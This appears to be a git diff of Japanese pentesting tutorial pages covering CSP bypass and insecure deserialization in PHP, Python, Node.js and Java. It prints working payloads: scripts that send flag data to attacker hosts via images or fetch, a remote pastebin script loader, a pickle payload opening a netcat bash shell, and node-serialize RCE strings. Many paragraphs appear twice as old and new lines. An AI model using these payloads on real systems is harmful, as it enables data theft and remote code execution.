### ダンングマークアップを使用したCSPのバイパス
[こちらを読んでください](../dangling-markup-html-scriptless-injection/index.html)。
@ -435,9 +435,9 @@ CSPが`https://www.google.com/a/b/c/d`に設定されている場合、パスが
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味しますXSSはコードを実行できますし、`img-src *`は、ウェブページ上で任意のリソースから任意の画像を使用できることを意味します。
`'unsafe-inline'`は、コード内の任意のスクリプトを実行できることを意味しますXSSはコードを実行できますし、`img-src *`は、ウェブページ上で任意のリソースからの画像を使用できることを意味します。
このCSPは、画像を介してデータを抽出することでバイパスできますこの場合、XSSはボットがアクセスできるページにSQLiが含まれているCSRFを悪用し、画像を介してフラグを抽出します):
このCSPは、画像を介してデータを抽出することでバイパスできますこの場合、XSSはボットがアクセスできるページにSQLiが含まれており、画像を介してフラグを抽出します):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -446,11 +446,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、**特別な画像を作成**し、**それをTwitterにアップロード**して、**unsafe-inline**を悪用して、**JSコードを実行**することができます通常のXSSとして)それが**画像を読み込み、**その中から**JSを抽出し、**それを**実行**します: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
この設定を悪用して、**画像内に挿入されたJavaScriptコードを読み込む**こともできます。例えば、ページがTwitterからの画像の読み込みを許可している場合、**特別な画像を作成**し、**それをTwitterにアップロード**して、**unsafe-inline**を悪用して、**JSコードを実行**することができます通常のXSSのように)。これにより、**画像を読み込み、**その中から**JSを抽出し、**それを**実行**します: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### サービスワーカーを使用して
サービスワーカーの**`importScripts`**関数はCSPによって制限されません:
サービスワーカーの**`importScripts`**関数はCSPに制限されません:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
@ -462,7 +462,7 @@ From: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](
#### Chrome
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、あなたは**ポリシーを何らかの方法で変更**して**無効にする**ことができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline' を許可**することができます:
あなたが送信した**パラメータ**が**ポリシーの宣言内に貼り付けられている**場合、**ポリシーを無効にする**方法で**ポリシーを変更**することができます。これらのバイパスのいずれかを使用して、**スクリプト 'unsafe-inline' を許可**することができます:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
@ -472,15 +472,15 @@ script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
#### Edge
Edgeでははるかに簡単です。CSPにこれだけ追加できれば: **`;_`** **Edge**は**ポリシー全体を削除します**。\
Edgeでははるかに簡単です。CSPにこれだけ追加できれば: **`;_`** **Edge**は**ポリシー全体を削除します**。\
例: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - タイムアタック
ディレクティブ `'unsafe-inline'` の欠如に注意してください。\
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませる**ことができます。今回は、被害者が情報を抽出したいページにアクセスさせます(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
今回は、被害者に**あなたの制御下にある**ページを**XSS**を介して**<iframe>**で**読み込ませる**ことができます。今回は、情報を抽出したいページに被害者がアクセスするようにします(**CSRF**)。ページの内容にはアクセスできませんが、もし何らかの方法で**ページの読み込みに必要な時間を制御できれば**、必要な情報を抽出できます。
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**より多くの時間**を要します。スリープ関数のためです。そうすれば、フラグを抽出できるようになります:
今回は、**フラグ**が抽出されます。SQLiを介して**文字が正しく推測される**たびに、**レスポンス**が**より多くの時間**を要します。これはスリープ関数によるものです。そうすれば、フラグを抽出できるようになります:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -544,7 +544,7 @@ run()
この攻撃は、攻撃者が**ユーザーにブラウザのブックマークレットの上にリンクをドラッグアンドドロップさせることを納得させる**というソーシャルエンジニアリングを含みます。このブックマークレットには、**悪意のあるjavascript**コードが含まれており、ドラッグアンドドロップまたはクリックされると、現在のウェブウィンドウのコンテキストで実行され、**CSPをバイパスして、クッキーやトークンなどの機密情報を盗むことを可能にします**。
詳細については、[**こちら元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
詳細については、[**こちら元のレポートを確認してください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。
### CSP bypass by restricting CSP
@ -568,22 +568,22 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できればおそらくCRLFのため、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に流出させたい場合、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
サーバーが**`Content-Security-Policy-Report-Only`**ヘッダーを**あなたが制御する値**で応答するように管理できればおそらくCRLFのため、あなたのサーバーを指すように設定でき、**`<script>`**で包んだ**JSコンテンツ**を外部に抽出したい場合、CSPによって`unsafe-inline`が許可されていない可能性が高いため、これが**CSPエラー**を引き起こし、スクリプトの一部(機密情報を含む)が`Content-Security-Policy-Report-Only`からサーバーに送信されます。
として[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
については[**このCTFの解説を確認してください**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes)。
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### CSPとIframeを使用した情報漏洩
### CSPとIframeを使た情報漏洩
- `iframe`がCSPによって許可されたURL`https://example.redirect.com`と呼びましょう)を指すように作成されます。
- このURLは、CSPによって**許可されていない**秘密のURL`https://usersecret.example2.com`)にリダイレクトします。
- `securitypolicyviolation`イベントをリッスンすることで、`blockedURI`プロパティをキャプチャできます。このプロパティは、ブロックされたURIのドメインを明らかにし、最初のURLがリダイレクトした秘密のドメインを漏洩させます。
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作による機密情報の漏洩の可能性があることは興味深いです。
ChromeやFirefoxのようなブラウザは、CSPに関してiframeを扱う際に異なる動作をするため、未定義の動作によって機密情報が漏洩する可能性があることは興味深いです。
別の技術は、CSP自体を利用して秘密のサブドメインを推測することです。この方法は、バイナリサーチアルゴリズムに依存し、特定のドメインを意図的にブロックするようにCSPを調整します。たとえば、秘密のサブドメインが未知の文字で構成されている場合、CSPディレクティブを変更してこれらのサブドメインをブロックまたは許可することで、異なるサブドメインを反復的にテストできます。以下は、この方法を促進するためにCSPがどのように設定されるかを示すスニペットです
```markdown
@ -593,24 +593,24 @@ CSPによってブロックまたは許可されるリクエストを監視す
両方の方法は、CSPの実装とブラウザの動作のニュアンスを利用しており、一見安全なポリシーがどのようにして意図せずに機密情報を漏洩させるかを示しています。
Trick from [**here**](https://ctftime.org/writeup/29310).
[**ここ**](https://ctftime.org/writeup/29310)からのトリック。
## CSPをバイパスするための危険な技術
### パラメータが多すぎるときのPHPエラー
[**この動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能、PHPウェブコードで定義された**`header()`**は、このエラーが発生するため送信されません。
この[**動画でコメントされた最後の技術**](https://www.youtube.com/watch?v=Sm4G6cAHjWM)によると、パラメータを多く送信すると1001のGETパラメータ、POSTパラメータや20以上のファイルでも可能、PHPウェブコードで定義された**`header()`**は、このエラーが発生するため送信されません。
### PHPレスポンスバッファのオーバーロード
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス****CSPヘッダーの前に送信され**、ヘッダーが無視されます。\
PHPはデフォルトで**4096**バイトまでレスポンスを**バッファリング**することで知られています。したがって、PHPが警告を表示している場合、**警告内に十分なデータを提供することで**、**レスポンス****CSPヘッダーの前に送信され**、ヘッダーが無視されることになります。\
この技術は基本的に**警告でレスポンスバッファを埋める**ことにより、CSPヘッダーが送信されないようにすることです。
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
[**この書き込み**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points)からのアイデア。
### エラーページの書き換え
[**この書き込み**](https://blog.ssrf.kr/69)によると、CSPなしでエラーページを読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
[**この書き込み**](https://blog.ssrf.kr/69)によると、エラーページCSPがない可能性があるを読み込み、その内容を書き換えることでCSP保護をバイパスすることが可能だったようです。
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -619,7 +619,7 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOMEは、**ページのエンドポイント**でXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後攻撃者のページを悪用したい同じオリジンの実際のエンドポイントにリフレッシュすることで行われます。この方法で、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOM**に**アクセス**できます。詳細については、次を確認してください:
SOMEは、**ページのエンドポイント**でXSSまたは非常に制限されたXSSを悪用して、**同じオリジンの他のエンドポイントを悪用する**技術です。これは、攻撃者のページから脆弱なエンドポイントを読み込み、その後悪用したい同じオリジンの実際のエンドポイントに攻撃者のページをリフレッシュすることで行われます。この方法で、**脆弱なエンドポイント**は、**ペイロード**内の**`opener`**オブジェクトを使用して、**悪用する実際のエンドポイントのDOM**に**アクセス**できます。詳細については、次を確認してください:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
@ -627,12 +627,12 @@ SOMEは、**ページのエンドポイント**でXSSまたは非常に制限
さらに、**wordpress**には、`/wp-json/wp/v2/users/1?_jsonp=data`に**JSONP**エンドポイントがあり、出力に送信された**データ**を**反映**します(文字、数字、ドットのみの制限があります)。
攻撃者は、そのエンドポイントを悪用してWordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため**、**読み込まれます**。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます\
この攻撃を実行する方法についての詳細は、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
攻撃者は、そのエンドポイントを悪用してWordPressに対して**SOME攻撃を生成**し、`<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>`内に**埋め込む**ことができます。この**スクリプト**は、**'self'によって許可されているため、**ロードされます。さらに、WordPressがインストールされているため、攻撃者は**CSPをバイパスする**脆弱な**コールバック**エンドポイントを通じて**SOME攻撃を悪用**し、ユーザーにより多くの権限を与えたり、新しいプラグインをインストールしたりすることができます...\
この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。
## CSP Exfiltration Bypasses
厳格なCSPがあり、**外部サーバーと対話することを許可しない**場合、情報を抽出するために常にできることがいくつかあります。
厳格なCSPがあり、**外部サーバーとやり取りすることを許可しない**場合、情報を抽出するために常にできることがいくつかあります。
### Location

View File

@ -8,7 +8,7 @@
**デシリアライズ**は、逆にシリアライズに対抗するプロセスです。特定の形式で構造化されたデータを取り、それをオブジェクトに再構築することを含みます。
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こすことを許す可能性があるからです。**
デシリアライズは危険である可能性があります。なぜなら、**攻撃者がシリアライズされたデータを操作して有害なコードを実行させたり、オブジェクト再構築プロセス中にアプリケーションに予期しない動作を引き起こさせたりことを許す可能性があるからです。**
## PHP
@ -16,9 +16,9 @@ PHPでは、シリアライズおよびデシリアライズプロセス中に
- `__sleep`: オブジェクトがシリアライズされるときに呼び出されます。このメソッドは、シリアライズされるべきオブジェクトのすべてのプロパティの名前の配列を返す必要があります。保留中のデータをコミットしたり、同様のクリーンアップタスクを実行するために一般的に使用されます。
- `__wakeup`: オブジェクトがデシリアライズされるときに呼び出されます。シリアライズ中に失われた可能性のあるデータベース接続を再確立し、他の再初期化タスクを実行するために使用されます。
- `__unserialize`: このメソッドは、オブジェクトがデシリアライズされるときに`__wakeup`の代わりに呼び出されます。`__wakeup`に比べてデシリアライズプロセスに対する制御が強化されます。
- `__destruct`: このメソッドは、オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されます。通常、ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに使用されます。
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取ったり、その中の関数呼び出しに基づいて他のタスクを実行するために使用でき、オブジェクトのテキスト表現を効果的に提供します。
- `__unserialize`: オブジェクトがデシリアライズされるときに`__wakeup`の代わりに呼び出されるメソッドです。`__wakeup`に比べてデシリアライズプロセスに対するより多くの制御を提供します。
- `__destruct`: オブジェクトが破棄される直前またはスクリプトが終了するときに呼び出されるメソッドです。ファイルハンドルやデータベース接続を閉じるなどのクリーンアップタスクに一般的に使用されます。
- `__toString`: このメソッドは、オブジェクトを文字列として扱うことを可能にします。ファイルを読み取るためや、その中の関数呼び出しに基づく他のタスクに使用でき、オブジェクトのテキスト表現を効果的に提供します。
```php
<?php
class test {
@ -74,10 +74,10 @@ This is a test<br />
*/
?>
```
結果を見ると、オブジェクトがデシリアライズされるときに関数 **`__wakeup`** と **`__destruct`** が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとするときに **`__toString`** 関数が呼び出されるとされていますが、どうやらそれは **もう起こっていない** ようです。
結果を見ると、オブジェクトがデシリアライズされるときに関数 **`__wakeup`** と **`__destruct`** が呼び出されることがわかります。いくつかのチュートリアルでは、属性を印刷しようとすると **`__toString`** 関数が呼び出されるとされていますが、どうやらそれは **もう起こっていない** ようです。
> [!WARNING]
> メソッド **`__unserialize(array $data)`** は、クラスに実装されている場合、**`__wakeup()`** の代わりに呼び出されます。これは、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズすることを可能にします。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
> クラスに実装されている場合、メソッド **`__unserialize(array $data)`** **`__wakeup()`** の代わりに呼び出されます。これにより、シリアライズされたデータを配列として提供することでオブジェクトをデシリアライズできます。このメソッドを使用してプロパティをデシリアライズし、デシリアライズ時に必要なタスクを実行できます。
>
> ```php
> class MyClass {
@ -90,11 +90,11 @@ This is a test<br />
> }
> ```
説明された **PHPの例をこで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こ [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはこ [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
説明された **PHPの例をこちらで読むことができます**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)、こちら [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) またはこちら [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
### PHP Deserial + Autoload Classes
PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます
PHPのオートロード機能を悪用して、任意のPHPファイルを読み込むことができます:
{{#ref}}
php-deserialization-+-autoload-classes.md
@ -119,11 +119,11 @@ $ser=serialize($o);
[**PHPGGC**](https://github.com/ambionics/phpggc) は、PHP のデシリアライズを悪用するためのペイロードを生成するのに役立ちます。\
アプリケーションのソースコード内でデシリアライズを悪用する方法を見つけられない場合もありますが、**外部 PHP 拡張のコードを悪用できるかもしれません。**\
ですので、可能であればサーバーの `phpinfo()` を確認し、**インターネットで検索**(さらには **PHPGGC****gadgets** も)して、悪用できる可能性のあるガジェットを探してください。
ですので、可能であればサーバーの `phpinfo()` を確認し、**インターネットで検索**(さらには **PHPGGC****gadgets** も)して、悪用できる可能性のあるガジェットを探してください。
### phar:// メタデータデシリアライズ
ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば _**file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()**_** のような関数を使用している場合、**phar** プロトコルを使用して **ファイル****読み取る** ときに発生する **デシリアライズ** を悪用しようとすることができます。\
ファイルを読み取るだけで、内部の PHP コードを実行しない LFI を見つけた場合、例えば _**file_get_contents(), fopen(), file() または file_exists(), md5_file(), filemtime() または filesize()**_** のような関数を使用している場合、**phar** プロトコルを使用してファイルを読み取る際に発生する **デシリアライズ** を悪用しようとすることができます。\
詳細については、以下の投稿をお読みください:
{{#ref}}
@ -143,9 +143,9 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))
```
`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、python3を実行している場合にpython2と互換性のあるオブジェクトを生成する前に、バイパステクニックを確認してください。
以下のバイパステクニックを確認する前に、`print(base64.b64encode(pickle.dumps(P(),2)))`を使用して、Python3を実行している場合にPython2と互換性のあるオブジェクトを生成してください。
**pickle jail**からの脱出に関する詳細情報は、以下を確認してください:
**pickle jails**からの脱出に関する詳細情報は、以下を確認してください:
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
@ -153,7 +153,7 @@ print(base64.b64encode(pickle.dumps(P())))
### Yaml **&** jsonpickle
以下のページでは、**yamlの安全でないデシリアライズを悪用する技術**を紹介し、**Pickle, PyYAML, jsonpickle, ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくっています:
以下のページでは、**yaml**のPythonライブラリにおける**安全でないデシリアライズの悪用**に関する技術を紹介し、**Pickle、PyYAML、jsonpickle、ruamel.yaml**のためのRCEデシリアライズペイロードを生成するために使用できるツールで締めくくます:
{{#ref}}
python-yaml-deserialization.md
@ -198,7 +198,7 @@ test_then()
```
### `__proto__``prototype` の汚染
この技術について学びたい場合は、**次のチュートリアルをてください**:
この技術について学びたい場合は、**次のチュートリアルを参照してください**:
{{#ref}}
nodejs-proto-prototype-pollution/
@ -223,19 +223,19 @@ console.log("Serialized: \n" + payload_serialized)
```bash
{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
```
関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例からわかります。
関数がシリアライズされると、シリアライズされたオブジェクトに `_$$ND_FUNC$$_` フラグが追加されることが例で示されています。
ファイル `node-serialize/lib/serialize.js`には、同じフラグとそのコードの使用方法が見つかります。
ファイル `node-serialize/lib/serialize.js`で、同じフラグとそのコードの使用方法を見つけることができます。
![](<../../images/image (351).png>)
![](<../../images/image (446).png>)
最後のコードのチャンクでわかるように、**フラグが見つかった場合**、`eval` が使用されて関数がデシリアライズされるため、基本的に **ユーザー入力が `eval` 関数内で使用されている**ことになります
最後のコードのチャンクで見られるように、**フラグが見つかった場合**、`eval` が関数をデシリアライズするために使用されるので、基本的に **ユーザー入力が `eval` 関数内で使用されています**
しかし、**関数をシリアライズするだけでは**それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
しかし、**関数をシリアライズするだけでは**それを**実行することはありません**。なぜなら、コードの一部が**`y.rce`を呼び出す必要がある**からで、これは非常に**ありそうにありません**。\
それでも、シリアライズされたオブジェクトを**修正して**、**いくつかの括弧を追加する**ことで、オブジェクトがデシリアライズされるときにシリアライズされた関数を自動的に実行させることができます。\
次のコードのチャンクで、**最後の括弧**と、`unserialize` 関数がどのように自動的にコードを実行するかに注意してください:
次のコードのチャンクで、**最後の括弧**と、`unserialize` 関数がどのように自動的にコードを実行するかに注意してください:
```javascript
var serialize = require("node-serialize")
var test = {
@ -243,18 +243,18 @@ rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(er
}
serialize.unserialize(test)
```
以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、**実行します** `eval`を使用して。したがって、**コードを自動実行する**には、**関数作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
以前に示したように、このライブラリは`_$$ND_FUNC$$_`の後のコードを取得し、**実行します**。したがって、**コードを自動実行する**ためには、**関数作成**部分と最後の括弧を**削除し**、次の例のように**JSのワンライナーを実行する**ことができます:
```javascript
var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)
```
ここで[**詳細を見つけることができます**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **この脆弱性を悪用する方法について**
ここで[**詳細情報**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)を見つけることができます。この脆弱性を悪用する方法について
### [funcster](https://www.npmjs.com/package/funcster)
**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセス不可であることです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()``require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
**funcster**の注目すべき点は、**標準の組み込みオブジェクト**へのアクセス不可であることです。これらはアクセス可能なスコープの外にあります。この制限により、組み込みオブジェクトのメソッドを呼び出そうとするコードの実行が妨げられ、`console.log()``require(something)`のようなコマンドを使用すると、`"ReferenceError: console is not defined"`のような例外が発生します。
この制限にもかかわらず、特定のアプローチを通じて、すべての標準の組み込みオブジェクトを含むグローバルコンテキストへの完全なアクセスを復元することが可能です。グローバルコンテキストを直接利用することで、この制限を回避できます。たとえば、次のスニペットを使用してアクセスを再確立できます:
```javascript
@ -288,7 +288,7 @@ function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}
```
この関数がオブジェクトをデシリアライズするために使用される場合、**簡単に悪用できます**:
この関数がオブジェクトをデシリアライズするために使用される場合、あなたは**簡単にそれを悪用できます**:
```javascript
var serialize = require("serialize-javascript")
//Serialization
@ -302,24 +302,24 @@ var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)
```
**詳細についてはこのソースを読んでください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
**詳細についてはこのソースを参照してください**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.**
### Cryoライブラリ
のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます:
以下のページでは、このライブラリを悪用して任意のコマンドを実行する方法に関する情報を見つけることができます:
- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418)
## Java - HTTP
Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながる可能性があります。
Javaでは、**デシリアライズコールバックはデシリアライズプロセス中に実行されます**。この実行は、これらのコールバックをトリガーする悪意のあるペイロードを作成する攻撃者によって悪用される可能性があり、有害なアクションの実行につながることがあります。
### フィンガープリント
#### ホワイトボックス
コードベース内の潜在的なシリアル化の脆弱性を特定するには、次のものを探します
コードベース内の潜在的なシリアライズ脆弱性を特定するには、次のものを検索してください
- `Serializable`インターフェースを実装しているクラス。
- `java.io.ObjectInputStream``readObject``readUnshare`関数の使用。
@ -327,15 +327,15 @@ Javaでは、**デシリアライズコールバックはデシリアライズ
特に注意を払うべき点:
- 外部ユーザーによって定義されたパラメータで使用される`XMLDecoder`
- `XStream``fromXML`メソッド、特にXStreamのバージョンが1.46以下の場合、シリアル化の問題に対して脆弱です。
- `ObjectInputStream`と`readObject`メソッドの組み合わせ
- `XStream``fromXML`メソッド、特にXStreamのバージョンが1.46以下の場合、シリアライズの問題に対して脆弱です。
- `readObject`メソッドと組み合わされた`ObjectInputStream`
- `readObject``readObjectNodData``readResolve`、または`readExternal`などのメソッドの実装。
- `ObjectInputStream.readUnshared`
- `Serializable`の一般的な使用。
#### ブラックボックス
ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探します`ObjectInputStream`から発生):
ブラックボックステストでは、javaシリアライズオブジェクトを示す特定の**シグネチャまたは「マジックバイト」**を探してください`ObjectInputStream`から発生):
- 16進パターン`AC ED 00 05`
- Base64パターン`rO0`
@ -357,35 +357,35 @@ javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAA
find . -iname "*commons*collection*"
grep -R InvokeTransformer .
```
あなたは、**脆弱性が知られているすべてのライブラリを確認し**、[**Ysoserial**](https://github.com/frohoff/ysoserial)がエクスプロイトを提供できるかどうかを試すことができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
あなたは、**脆弱性が知られているすべてのライブラリを確認し**、[**Ysoserial**](https://github.com/frohoff/ysoserial)が提供できるエクスプロイトを探すことができます。または、[Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json)に示されているライブラリを確認することもできます。\
さらに、[**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector)を使用して、エクスプロイト可能なガジェットチェーンを検索することもできます。\
**gadgetinspector**を実行する際(ビルド後)、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
**gadgetinspector**を実行する際(ビルド後)、発生する多数の警告/エラーを気にせず、完了するまで待ってください。すべての結果は_gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_に書き込まれます。**gadgetinspectorはエクスプロイトを作成せず、偽陽性を示す可能性があることに注意してください**。
#### ブラックボックステスト
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**かもしれません。\
Burp拡張機能[**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md)を使用すると、**どのライブラリが利用可能か**(バージョンも含む)を特定できます。この情報をもとに、脆弱性をエクスプロイトするための**ペイロードを選択しやすくなる**でしょう。\
[**GadgetProbeについて詳しく学ぶにはこちらをお読みください**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**。**\
GadgetProbeは**`ObjectInputStream`デシリアライズ**に焦点を当てています。
GadgetProbeは**`ObjectInputStream`デシリアライズ**に焦点を当てています。
